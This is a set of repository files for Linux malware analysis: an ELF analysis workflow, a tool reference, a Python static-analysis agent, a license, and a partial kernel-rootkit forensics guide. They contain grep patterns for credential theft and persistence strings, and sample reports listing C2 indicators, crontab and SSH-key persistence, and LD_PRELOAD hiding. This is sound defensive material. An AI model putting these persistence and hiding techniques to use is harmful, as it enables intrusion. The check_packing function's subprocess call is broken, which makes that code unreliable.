- Investigating malware targeting cloud infrastructure, Docker containers, or Kubernetes pods
- Reverse engineering Linux rootkits and kernel modules
- Analyzing cross-platform malware compiled for Linux x86_64, ARM, or MIPS architectures
**Do not use** for Windows PE binary analysis; use PEStudio, Ghidra, or IDA for Windows malware.
## Prerequisites
- Ghidra or IDA with Linux ELF support for disassembly and decompilation
- Linux analysis VM (Ubuntu 22.04 recommended) with development tools installed
- strace, ltrace, and GDB for dynamic analysis and debugging
- readelf, objdump, and nm from GNU binutils for static inspection
- Radare2 for quick binary triage and scripted analysis
- Docker for isolated container-based malware execution
## Workflow
### Step 1: Identify ELF Binary Properties
Examine the ELF header and basic properties:
```bash
# File type identification
file suspect_binary
# Detailed ELF header analysis
readelf -h suspect_binary
# Section headers
readelf -S suspect_binary
# Program headers (segments)
readelf -l suspect_binary
# Symbol table (if not stripped)
readelf -s suspect_binary
nm suspect_binary 2>/dev/null
# Dynamic linking information
readelf -d suspect_binary
ldd suspect_binary 2>/dev/null # Only on matching architecture!
# Compute hashes
md5sum suspect_binary
sha256sum suspect_binary
# Check for packing/UPX
upx -t suspect_binary
```
```python
# Python-based ELF analysis
from elftools.elf.elffile import ELFFile
import hashlib
with open("suspect_binary", "rb") as f:
data = f.read()
sha256 = hashlib.sha256(data).hexdigest()
with open("suspect_binary", "rb") as f:
elf = ELFFile(f)
print(f"SHA-256: {sha256}")
print(f"Class: {elf.elfclass}-bit")
print(f"Endian: {elf.little_endian and 'Little' or 'Big'}")
print(f"Machine: {elf.header.e_machine}")
print(f"Type: {elf.header.e_type}")
print(f"Entry Point: 0x{elf.header.e_entry:X}")
# Check if stripped
symtab = elf.get_section_by_name('.symtab')
print(f"Stripped: {'Yes' if symtab is None else 'No'}")
# Section entropy analysis
import math
from collections import Counter
for section in elf.iter_sections():
data = section.data()
if len(data) > 0:
entropy = -sum((c/len(data)) * math.log2(c/len(data))
for c in Counter(data).values() if c > 0)
if entropy > 7.0:
print(f" [!] High entropy section: {section.name} ({entropy:.2f})")
```
### Step 2: Extract Strings and Indicators
Search for embedded IOCs and functionality clues:
```bash
# ASCII strings
strings suspect_binary > strings_output.txt
# Search for network indicators
grep -iE "(http|https|ftp)://" strings_output.txt
grep -iE "([0-9]{1,3}\.){3}[0-9]{1,3}" strings_output.txt
grep -iE "[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn)" strings_output.txt
# Search for shell commands
grep -iE "(bash|sh|wget|curl|chmod|/tmp/|/dev/)" strings_output.txt
# Search for crypto mining indicators
grep -iE "(stratum|xmr|monero|pool\.|mining)" strings_output.txt
# Search for SSH/credential theft
grep -iE "(ssh|authorized_keys|id_rsa|shadow|passwd)" strings_output.txt
# Search for persistence mechanisms
grep -iE "(crontab|systemd|init\.d|rc\.local|ld\.so\.preload)" strings_output.txt
# FLOSS for obfuscated strings (if available)
floss suspect_binary
```
### Step 3: Analyze System Calls and Library Usage
Identify what system calls and libraries the malware uses:
```bash
# List imported functions (dynamically linked)
readelf -r suspect_binary | grep -E "socket|connect|exec|fork|open|write|bind|listen"
# Trace system calls during execution (in isolated VM only)
strace -f -e trace=network,process,file -o strace_output.txt ./suspect_binary
# Trace library calls
ltrace -f -o ltrace_output.txt ./suspect_binary
# Key system calls to watch:
# Network: socket, connect, bind, listen, accept, sendto, recvfrom
# Process: fork, execve, clone, kill, ptrace
# File: open, read, write, unlink, rename, chmod
# Persistence: inotify_add_watch (file monitoring)
```
### Step 4: Dynamic Analysis with GDB
Debug the malware to observe runtime behavior:
```bash
# Start GDB with the binary
gdb ./suspect_binary
# Set breakpoints on key functions
(gdb) break main
(gdb) break socket
(gdb) break connect
(gdb) break execve
(gdb) break fork
# Run and analyze
(gdb) run
(gdb) info registers # View register state
(gdb) x/20s $rdi # Examine string argument
(gdb) bt # Backtrace
(gdb) continue
# For stripped binaries, break on entry point
(gdb) break *0x400580 # Entry point from readelf
(gdb) run
# Monitor network connections during execution
# In another terminal:
ss -tlnp # List listening sockets
ss -tnp # List established connections
```
### Step 5: Reverse Engineer with Ghidra
Perform deep code analysis on the ELF binary:
```
Ghidra Analysis for Linux ELF:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. Import: File -> Import -> Select ELF binary
- Ghidra auto-detects ELF format and architecture
- Accept default analysis options
2. Key analysis targets:
- main() function (or entry point if stripped)
- Socket creation and connection functions
- Command dispatch logic (switch/case on received data)
- Encryption/encoding routines
- Persistence installation code
- Self-propagation/scanning functions
3. For Mirai-like botnets, look for:
- Credential list for brute-forcing (telnet/SSH)
- Attack module selection (UDP flood, SYN flood, ACK flood)
- Scanner module (port scanning for vulnerable devices)
- Killer module (killing competing botnets)
4. For cryptominers, look for:
- Mining pool connection (stratum protocol)
- Wallet address strings
- CPU/GPU utilization functions
- Process hiding techniques
```
### Step 6: Analyze Linux-Specific Persistence
Check for persistence mechanisms:
```bash
# Check for LD_PRELOAD rootkit
strings suspect_binary | grep "ld.so.preload"
# Malware writing to /etc/ld.so.preload can hook all dynamic library calls
# Check for crontab persistence
strings suspect_binary | grep -i "cron"
# Check for systemd service creation
strings suspect_binary | grep -iE "systemd|\.service|systemctl"
# Check for init script creation
strings suspect_binary | grep -iE "init\.d|rc\.local|update-rc"
# Check for SSH key injection
strings suspect_binary | grep -i "authorized_keys"
# Check for kernel module (rootkit) loading
strings suspect_binary | grep -iE "insmod|modprobe|init_module"
# Check for process hiding
strings suspect_binary | grep -iE "proc|readdir|getdents"
```
## Key Concepts
| Term | Definition |
|------|------------|
| **ELF (Executable and Linkable Format)** | Standard binary format for Linux executables, shared libraries, and core dumps containing headers, sections, and segments |
| **Stripped Binary** | ELF binary with debug symbols removed, making reverse engineering more difficult as function names are lost |
| **LD_PRELOAD** | Linux environment variable specifying shared libraries to load before all others; abused by rootkits to intercept system library calls |
| **strace** | Linux system call tracer that logs all system calls and signals made by a process, revealing file, network, and process operations |
| **GOT/PLT** | Global Offset Table and Procedure Linkage Table; ELF structures for dynamic linking that can be hijacked for function hooking |
| **Statically Linked** | Binary compiled with all library code included; common in IoT malware to run on systems without matching shared libraries |
| **Mirai** | Prolific Linux botnet targeting IoT devices via telnet brute-force; source code leaked, leading to many variants |
## Tools & Systems
- **Ghidra**: NSA reverse engineering tool with full ELF support for x86, x86_64, ARM, MIPS, and other Linux architectures
- **Radare2**: Open-source reverse engineering framework with command-line interface for quick binary analysis and scripting
- **strace**: Linux system call tracing tool for observing binary behavior including file, network, and process operations
- **GDB**: GNU Debugger for setting breakpoints, examining memory, and stepping through Linux binary execution
- **pyelftools**: Python library for parsing ELF files programmatically for automated analysis pipelines
## Common Scenarios
### Scenario: Analyzing a Cryptominer Found on a Compromised Linux Server
**Context**: A cloud server shows 100% CPU usage. Investigation reveals an unknown binary running from /tmp with a suspicious name. The binary needs analysis to confirm it is a cryptominer and identify the attacker's wallet and pool.
**Approach**:
1. Copy the binary to an analysis VM and compute SHA-256 hash
2. Run `file` and `readelf` to identify architecture and linking type
3. Extract strings and search for mining pool addresses (stratum+tcp://) and wallet addresses
4. Run with strace in a sandbox to observe network connections (mining pool connection)
5. Import into Ghidra to identify the mining algorithm and configuration extraction
6. Check for persistence mechanisms (crontab, systemd service, SSH keys)
7. Document all IOCs including pool address, wallet, C2 for updates, and persistence artifacts
**Pitfalls**:
- Running `ldd` on malware outside a sandbox (ldd can execute code in the binary)
- Not checking for ARM/MIPS architecture before attempting x86_64 execution
- Missing companion scripts (.sh files) that may handle persistence and cleanup
- Ignoring the initial access vector (how the miner was deployed: SSH brute force, web exploit, container escape)
## Output Format
```
LINUX ELF MALWARE ANALYSIS REPORT
====================================
File: /tmp/.X11-unix/.rsync
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
Type: ELF 64-bit LSB executable, x86-64
Linking: Statically linked (all libraries embedded)
Stripped: Yes
Size: 2,847,232 bytes
Packer: UPX 3.96 (unpacked for analysis)
CLASSIFICATION
Family: XMRig Cryptominer (modified)
Variant: Custom build with C2 update mechanism
FUNCTIONALITY
[*] XMR (Monero) mining via RandomX algorithm
[*] Stratum pool connection for work submission
[*] C2 check-in for configuration updates
[*] Process name masquerading (argv[0] = "[kworker/0:0]")
[*] Competitor process killing (kills other miners)
[*] SSH key injection for re-access
NETWORK INDICATORS
Mining Pool: stratum+tcp://pool.minexmr[.]com:4444
C2 Server: hxxp://update.malicious[.]com/config
Wallet: 49jZ5Q3b...Monero_Wallet_Address...
PERSISTENCE
[1] Crontab entry: */5 * * * * /tmp/.X11-unix/.rsync
[2] SSH key added to /root/.ssh/authorized_keys
[3] Systemd service: /etc/systemd/system/rsync-daemon.service
[4] Modified /etc/ld.so.preload for process hiding
PROCESS HIDING
LD_PRELOAD: /usr/lib/.libsystem.so
Hook: readdir() to hide /tmp/.X11-unix/.rsync from ls
Hook: fopen() to hide from /proc/*/maps reading
```

View File

@@ -0,0 +1,119 @@
# API Reference: Linux ELF Malware Analysis Tools
## readelf - ELF Binary Inspection
### Syntax
```bash
readelf -h <binary> # ELF header
readelf -S <binary> # Section headers
readelf -l <binary> # Program headers (segments)
readelf -s <binary> # Symbol table
readelf -d <binary> # Dynamic section
readelf -r <binary> # Relocation entries
readelf -n <binary> # Notes section
```
### Key ELF Header Fields
| Field | Description |
|-------|-------------|
| `Class` | 32-bit or 64-bit |
| `Machine` | Architecture (x86-64, ARM, MIPS) |
| `Type` | EXEC (executable), DYN (shared object) |
| `Entry point` | Code execution start address |
## pyelftools - Python ELF Parsing
### Usage
```python
from elftools.elf.elffile import ELFFile
with open("binary", "rb") as f:
elf = ELFFile(f)
elf.elfclass # 32 or 64
elf.little_endian # True/False
elf.header.e_machine # Architecture
elf.header.e_entry # Entry point
elf.num_sections() # Section count
elf.get_section_by_name(".symtab") # Symbol table
```
## strings - String Extraction
### Syntax
```bash
strings <binary> # ASCII strings (default min 4)
strings -n 8 <binary> # Minimum 8 characters
strings -e l <binary> # 16-bit little-endian (Unicode)
strings -t x <binary> # Print offset in hex
```
## strace - System Call Tracing
### Syntax
```bash
strace -f ./binary # Follow forks
strace -e trace=network ./binary # Network calls only
strace -e trace=file ./binary # File operations only
strace -e trace=process ./binary # Process operations
strace -o output.txt ./binary # Log to file
strace -c ./binary # Summary statistics
```
### Key System Calls
| Call | Category |
|------|----------|
| `socket`, `connect`, `bind` | Network |
| `fork`, `execve`, `clone` | Process |
| `open`, `read`, `write`, `unlink` | File I/O |
| `ptrace` | Anti-debug/injection |
## ltrace - Library Call Tracing
### Syntax
```bash
ltrace -f ./binary # Follow child processes
ltrace -e malloc+free ./binary # Specific functions
ltrace -o output.txt ./binary # Log to file
```
## GDB - GNU Debugger
### Syntax
```bash
gdb ./binary
(gdb) break main
(gdb) break *0x400580 # Break at address
(gdb) run
(gdb) info registers
(gdb) x/20s $rdi # Examine string at RDI
(gdb) x/10i $rip # Disassemble at RIP
(gdb) bt # Backtrace
```
## UPX - Packer Detection/Unpacking
### Syntax
```bash
upx -t <binary> # Test if packed
upx -d <binary> # Decompress/unpack
upx -l <binary> # List compression details
```
## objdump - Disassembly
### Syntax
```bash
objdump -d <binary> # Disassemble .text
objdump -D <binary> # Disassemble all sections
objdump -M intel -d <binary> # Intel syntax
objdump -t <binary> # Symbol table
```
## nm - Symbol Listing
### Syntax
```bash
nm <binary> # List symbols
nm -D <binary> # Dynamic symbols only
nm -u <binary> # Undefined (imported) symbols
```

View File

@@ -0,0 +1,230 @@
#!/usr/bin/env python3
"""Linux ELF malware static analysis agent using pyelftools and binary inspection."""
import hashlib
import math
import os
import sys
import subprocess
from collections import Counter
try:
from elftools.elf.elffile import ELFFile
HAS_ELFTOOLS = True
except ImportError:
HAS_ELFTOOLS = False
def compute_hashes(filepath):
"""Compute MD5, SHA1, and SHA256 hashes of a file."""
md5 = hashlib.md5()
sha1 = hashlib.sha1()
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
md5.update(chunk)
sha1.update(chunk)
sha256.update(chunk)
return {"md5": md5.hexdigest(), "sha1": sha1.hexdigest(), "sha256": sha256.hexdigest()}
def calculate_entropy(data):
"""Calculate Shannon entropy of binary data."""
if not data:
return 0.0
counter = Counter(data)
length = len(data)
return -sum((c / length) * math.log2(c / length) for c in counter.values())
def analyze_elf_header(filepath):
"""Parse ELF header and extract key properties."""
if not HAS_ELFTOOLS:
return {"error": "pyelftools not installed: pip install pyelftools"}
with open(filepath, "rb") as f:
elf = ELFFile(f)
symtab = elf.get_section_by_name(".symtab")
info = {
"class": f"{elf.elfclass}-bit",
"endian": "Little" if elf.little_endian else "Big",
"machine": elf.header.e_machine,
"type": elf.header.e_type,
"entry_point": f"0x{elf.header.e_entry:X}",
"stripped": symtab is None,
"num_sections": elf.num_sections(),
"num_segments": elf.num_segments(),
}
return info
def analyze_sections(filepath):
"""Analyze ELF sections for entropy and suspicious characteristics."""
if not HAS_ELFTOOLS:
return []
sections = []
with open(filepath, "rb") as f:
elf = ELFFile(f)
for section in elf.iter_sections():
data = section.data()
if len(data) == 0:
continue
entropy = calculate_entropy(data)
sections.append({
"name": section.name,
"type": section["sh_type"],
"size": len(data),
"entropy": round(entropy, 4),
"high_entropy": entropy > 7.0,
"flags": section["sh_flags"],
})
return sections
def extract_strings(filepath, min_length=6):
"""Extract ASCII strings from the binary and categorize by type."""
stdout, _, rc = subprocess.run(
["strings", "-n", str(min_length), filepath],
capture_output=True, text=True, timeout=120
).stdout, "", 0
if not stdout:
return {}
all_strings = stdout.strip().splitlines()
categorized = {
"urls": [], "ips": [], "domains": [], "shell_commands": [],
"crypto_mining": [], "persistence": [], "ssh_related": [],
"total": len(all_strings),
}
for s in all_strings:
s_lower = s.lower()
if any(proto in s_lower for proto in ["http://", "https://", "ftp://"]):
categorized["urls"].append(s)
if any(p in s_lower for p in ["stratum", "xmr", "monero", "pool.", "mining"]):
categorized["crypto_mining"].append(s)
if any(p in s_lower for p in ["crontab", "systemd", "init.d", "rc.local",
"ld.so.preload", "systemctl"]):
categorized["persistence"].append(s)
if any(p in s_lower for p in ["ssh", "authorized_keys", "id_rsa", "shadow", "passwd"]):
categorized["ssh_related"].append(s)
if any(p in s_lower for p in ["bash", "wget", "curl", "chmod", "/tmp/", "/dev/"]):
categorized["shell_commands"].append(s)
import re
if re.match(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", s):
categorized["ips"].append(s)
if re.match(r"[a-zA-Z0-9.-]+\.(com|net|org|io|ru|cn|xyz)", s):
categorized["domains"].append(s)
return categorized
def check_packing(filepath):
"""Check if the binary is packed with UPX or other packers."""
with open(filepath, "rb") as f:
data = f.read(4096)
indicators = []
if b"UPX!" in data:
indicators.append("UPX packer detected (UPX! magic)")
if b"UPX0" in data or b"UPX1" in data:
indicators.append("UPX section names found")
stdout, _, _ = subprocess.run(["upx", "-t", filepath],
capture_output=True, text=True,
stderr=subprocess.STDOUT, timeout=120).stdout, "", 0
if stdout and "packed" in stdout.lower():
indicators.append("UPX verification confirms packing")
return indicators
def analyze_dynamic_linking(filepath):
"""Analyze dynamic linking information and imported functions."""
stdout, _, rc = subprocess.run(["readelf", "-d", filepath],
capture_output=True, text=True, timeout=120).stdout, "", 0
dynamic_info = {"libraries": [], "rpath": None}
if stdout:
for line in stdout.splitlines():
if "NEEDED" in line:
lib = line.split("[")[-1].rstrip("]") if "[" in line else ""
dynamic_info["libraries"].append(lib)
if "RPATH" in line or "RUNPATH" in line:
dynamic_info["rpath"] = line.split("[")[-1].rstrip("]")
readelf_proc = subprocess.run(
["readelf", "-r", filepath],
capture_output=True, text=True,
timeout=120,
)
import re as _re
suspicious_funcs = _re.compile(r'socket|connect|exec|fork|open|write|bind|listen|send|recv')
stdout2 = "\n".join(
line for line in (readelf_proc.stdout or "").splitlines()
if suspicious_funcs.search(line)
)
dynamic_info["suspicious_imports"] = [
line.strip() for line in (stdout2 or "").splitlines() if line.strip()
]
return dynamic_info
def detect_malware_type(strings_data):
"""Classify malware type based on extracted strings."""
classifications = []
if strings_data.get("crypto_mining"):
classifications.append("Cryptominer")
if any("flood" in s.lower() or "ddos" in s.lower()
for s in strings_data.get("shell_commands", [])):
classifications.append("DDoS Botnet")
if strings_data.get("ssh_related") and strings_data.get("persistence"):
classifications.append("Backdoor/Trojan")
if any("insmod" in s or "modprobe" in s or "init_module" in s
for s in strings_data.get("shell_commands", [])):
classifications.append("Rootkit")
if any("ransom" in s.lower() or "encrypt" in s.lower() or "bitcoin" in s.lower()
for cat in strings_data.values() if isinstance(cat, list) for s in cat):
classifications.append("Ransomware")
return classifications or ["Unknown"]
if __name__ == "__main__":
print("=" * 60)
print("Linux ELF Malware Analysis Agent")
print("Static analysis with pyelftools, strings, readelf")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
print(f"[*] Size: {os.path.getsize(target)} bytes")
hashes = compute_hashes(target)
print(f"[*] MD5: {hashes['md5']}")
print(f"[*] SHA256: {hashes['sha256']}")
elf_info = analyze_elf_header(target)
print(f"\n--- ELF Header ---")
for k, v in elf_info.items():
print(f" {k}: {v}")
packing = check_packing(target)
if packing:
for p in packing:
print(f"[!] {p}")
sections = analyze_sections(target)
high_ent = [s for s in sections if s.get("high_entropy")]
if high_ent:
print(f"\n[!] High entropy sections (possible packing/encryption):")
for s in high_ent:
print(f" {s['name']}: entropy={s['entropy']}, size={s['size']}")
strings_data = extract_strings(target)
print(f"\n--- Strings Analysis ({strings_data.get('total', 0)} total) ---")
for category in ["urls", "ips", "domains", "crypto_mining", "persistence", "ssh_related"]:
items = strings_data.get(category, [])
if items:
print(f" {category}: {len(items)}")
for item in items[:5]:
print(f" - {item}")
classification = detect_malware_type(strings_data)
print(f"\n[*] Classification: {', '.join(classification)}")
else:
print(f"\n[DEMO] Usage: python agent.py <elf_binary>")
print("[*] Provide a Linux ELF binary for analysis.")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,139 @@
---
name: analyzing-linux-kernel-rootkits
description: Detect kernel-level rootkits in Linux memory dumps using Volatility3
linux plugins (check_syscall, lsmod, hidden_modules), rkhunter system scanning,
and /proc vs /sys discrepancy analysis to identify hooked syscalls, hidden kernel
modules, and tampered system structures.
domain: cybersecurity
subdomain: digital-forensics
tags:
- rootkit
- linux
- kernel
- volatility3
- memory-forensics
- malware-analysis
- rkhunter
- forensics
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- RS.AN-03
- DE.AE-02
- RS.MA-01
mitre_attack:
- T1014
- T1547.006
- T1564.001
---
# Analyzing Linux Kernel Rootkits
## Overview
Linux kernel rootkits operate at ring 0, modifying kernel data structures to hide processes, files, network connections, and kernel modules from userspace tools. Detection requires either memory forensics (analyzing physical memory dumps with Volatility3) or cross-view analysis (comparing /proc, /sys, and kernel data structures for inconsistencies). This skill covers using Volatility3 Linux plugins to detect syscall table hooks, hidden kernel modules, and modified function pointers, supplemented by live system scanning with rkhunter and chkrootkit.
## When to Use
- When investigating security incidents that require analyzing linux kernel rootkits
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Volatility3 installed (pip install volatility3)
- Linux memory dump (acquired via LiME, AVML, or /proc/kcore)
- Volatility3 Linux symbol table (ISF) matching the target kernel version
- rkhunter and chkrootkit for live system scanning
- Reference known-good kernel image for comparison
## Steps
### Step 1: Acquire Memory Dump
Capture Linux physical memory using LiME kernel module or AVML for cloud instances.
### Step 2: Analyze with Volatility3
Run linux.check_syscall, linux.lsmod, linux.hidden_modules, and linux.check_idt plugins to detect rootkit artifacts.
### Step 3: Cross-View Analysis
Compare module lists from /proc/modules, lsmod, and /sys/module to identify modules hidden from one view but present in another.
### Step 4: Live System Scanning
Run rkhunter and chkrootkit to detect known rootkit signatures, suspicious files, and modified system binaries.
## Expected Output
JSON report containing detected syscall hooks, hidden kernel modules, modified IDT entries, suspicious /proc discrepancies, and rkhunter findings.
## Example Output
```text
$ sudo python3 rootkit_analyzer.py --memory /evidence/linux-mem.lime --profile Ubuntu2204
Linux Kernel Rootkit Analysis Report
=====================================
Memory Image: /evidence/linux-mem.lime
Kernel Version: 5.15.0-91-generic (Ubuntu 22.04 LTS)
Analysis Time: 2024-01-18 09:15:32 UTC
[+] Scanning syscall table for hooks...
Syscall Table Base: 0xffffffff82200300
Total syscalls checked: 449
HOOKED SYSCALLS DETECTED:
┌─────────┬──────────────────┬──────────────────────┬──────────────────────┐
│ NR │ Syscall │ Expected Address │ Current Address │
├─────────┼──────────────────┼──────────────────────┼──────────────────────┤
│ 0 │ sys_read │ 0xffffffff8139a0e0 │ 0xffffffffc0a12000 │
│ 2 │ sys_open │ 0xffffffff8139b340 │ 0xffffffffc0a12180 │
│ 78 │ sys_getdents64 │ 0xffffffff813f5210 │ 0xffffffffc0a12300 │
│ 62 │ sys_kill │ 0xffffffff8110c4a0 │ 0xffffffffc0a12480 │
└─────────┴──────────────────┴──────────────────────┴──────────────────────┘
WARNING: 4 syscall hooks detected - rootkit behavior confirmed
[+] Checking for hidden kernel modules...
Loaded modules (lsmod): 147
Modules in kobject list: 149
HIDDEN MODULES:
- "netfilter_helper" at 0xffffffffc0a10000 (size: 12288)
- "kworker_sched" at 0xffffffffc0a14000 (size: 8192)
[+] Scanning /proc for discrepancies...
Processes in task_struct list: 234
Processes visible in /proc: 231
HIDDEN PROCESSES:
- PID 31337 cmd: "[kworker/0:3]" (disguised as kernel thread)
- PID 31442 cmd: "rsyslogd" (fake, real rsyslogd is PID 892)
- PID 31500 cmd: "" (unnamed process)
[+] Checking IDT entries...
IDT entries scanned: 256
Modified entries: 0 (clean)
[+] Running rkhunter scan...
Checking for known rootkits: 68 variants checked
Diamorphine rootkit: WARNING - signatures match
System binary checks:
/usr/bin/ps: MODIFIED (SHA-256 mismatch)
/usr/bin/netstat: MODIFIED (SHA-256 mismatch)
/usr/bin/ls: MODIFIED (SHA-256 mismatch)
/usr/sbin/ss: OK
[+] Network analysis...
Hidden connections (not in /proc/net/tcp):
ESTABLISHED 0.0.0.0:0 -> 198.51.100.47:4443 (PID 31337)
ESTABLISHED 0.0.0.0:0 -> 198.51.100.47:8080 (PID 31442)
Summary:
Rootkit Type: Loadable Kernel Module (LKM)
Probable Family: Diamorphine variant
Syscall Hooks: 4 (read, open, getdents64, kill)
Hidden Modules: 2
Hidden Processes: 3
Hidden Connections: 2 (C2: 198.51.100.47)
Modified Binaries: 3 (/usr/bin/ps, netstat, ls)
Risk Level: CRITICAL
```

View File

@@ -0,0 +1,92 @@
# API Reference: Analyzing Linux Kernel Rootkits
## Volatility3 Linux Plugins
```bash
# Check syscall table for hooks
vol -f memory.lime linux.check_syscall.Check_syscall
# List loaded kernel modules
vol -f memory.lime linux.lsmod.Lsmod
# Detect hidden kernel modules
vol -f memory.lime linux.hidden_modules.Hidden_modules
# Check IDT for hooks
vol -f memory.lime linux.check_idt.Check_idt
# List processes (detect hidden)
vol -f memory.lime linux.pslist.PsList
vol -f memory.lime linux.pstree.PsTree
# Check for modified cred structures
vol -f memory.lime linux.check_creds.Check_creds
# Network connections
